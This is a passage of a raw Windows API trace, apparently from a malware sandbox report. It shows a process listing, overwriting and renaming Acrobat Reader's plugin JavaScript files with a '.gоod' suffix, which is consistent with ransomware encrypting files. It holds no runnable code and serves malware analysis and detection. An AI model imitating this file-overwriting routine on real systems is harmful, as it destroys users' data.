ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.566] FindNextFileW (in: hFindFile=0x1ecdd1d0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0189.566] FindNextFileW (in: hFindFile=0x1ecdd1d0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0189.566] FindClose (in: hFindFile=0x1ecdd1d0 | out: hFindFile=0x1ecdd1d0) returned 1 [0189.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0189.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0189.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0189.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js", lpFilePart=0x0) returned 0x6d [0189.566] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd6b0 [0189.567] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0189.567] FindClose (in: hFindFile=0x1ecdd6b0 | out: hFindFile=0x1ecdd6b0) returned 1 [0189.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0189.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0189.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0189.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x398b580 | out: lpFileInformation=0x398b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838)) returned 1 [0189.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0189.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0189.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.568] GetFileType (hFile=0x820) returned 0x1 [0189.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0189.568] GetFileType (hFile=0x820) returned 0x1 [0189.568] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0189.568] ReadFile (in: hFile=0x820, lpBuffer=0x398ba48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x398ba48*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0189.570] CloseHandle (hObject=0x820) returned 1 [0189.570] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0189.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.570] GetFileType (hFile=0x820) returned 0x1 [0189.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0189.570] GetFileType (hFile=0x820) returned 0x1 [0189.570] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x9838 [0189.571] WriteFile (in: hFile=0x820, lpBuffer=0x398cfe0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x398cfe0*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0189.571] CloseHandle (hObject=0x820) returned 1 [0189.572] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0189.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.572] GetFileType (hFile=0x820) returned 0x1 [0189.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0189.572] GetFileType (hFile=0x820) returned 0x1 [0189.572] ReadFile (in: hFile=0x820, lpBuffer=0x398f2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x398f2f8*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0189.768] CloseHandle (hObject=0x820) returned 1 [0189.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0189.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.768] GetFileType (hFile=0x820) returned 0x1 [0189.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0189.769] GetFileType (hFile=0x820) returned 0x1 [0189.769] WriteFile (in: hFile=0x820, lpBuffer=0x379cb48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x379cb48*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0189.769] CloseHandle (hObject=0x820) returned 1 [0189.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0189.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js.gоod", lpFilePart=0x0) returned 0x7c [0189.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0189.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6d528a5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9848)) returned 1 [0189.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0189.769] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\plugin.js.gоod")) returned 1 [0189.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0189.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0189.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x38d38f8 | out: lpFileInformation=0x38d38f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b)) returned 1 [0189.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0189.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0189.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0189.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.770] GetFileType (hFile=0x820) returned 0x1 [0189.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0189.770] GetFileType (hFile=0x820) returned 0x1 [0189.771] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0xc2b [0189.771] ReadFile (in: hFile=0x820, lpBuffer=0x38d4890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x38d4890*, lpNumberOfBytesRead=0x203ec6b8*=0xc2b, lpOverlapped=0x0) returned 1 [0189.772] CloseHandle (hObject=0x820) returned 1 [0189.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0189.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0190.383] GetFileType (hFile=0x630) returned 0x1 [0190.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0190.383] GetFileType (hFile=0x630) returned 0x1 [0190.383] WriteFile (in: hFile=0x630, lpBuffer=0x3871b18*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3871b18*, lpNumberOfBytesWritten=0x203ec5c8*=0xc30, lpOverlapped=0x0) returned 1 [0190.384] CloseHandle (hObject=0x630) returned 1 [0190.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0190.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js.gоod", lpFilePart=0x0) returned 0x7e [0190.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0190.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6db1e583, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc30)) returned 1 [0190.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0190.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\selector.js.gоod")) returned 1 [0190.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0190.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls", lpFilePart=0x0) returned 0x71 [0190.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0190.387] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.387] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0190.387] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, 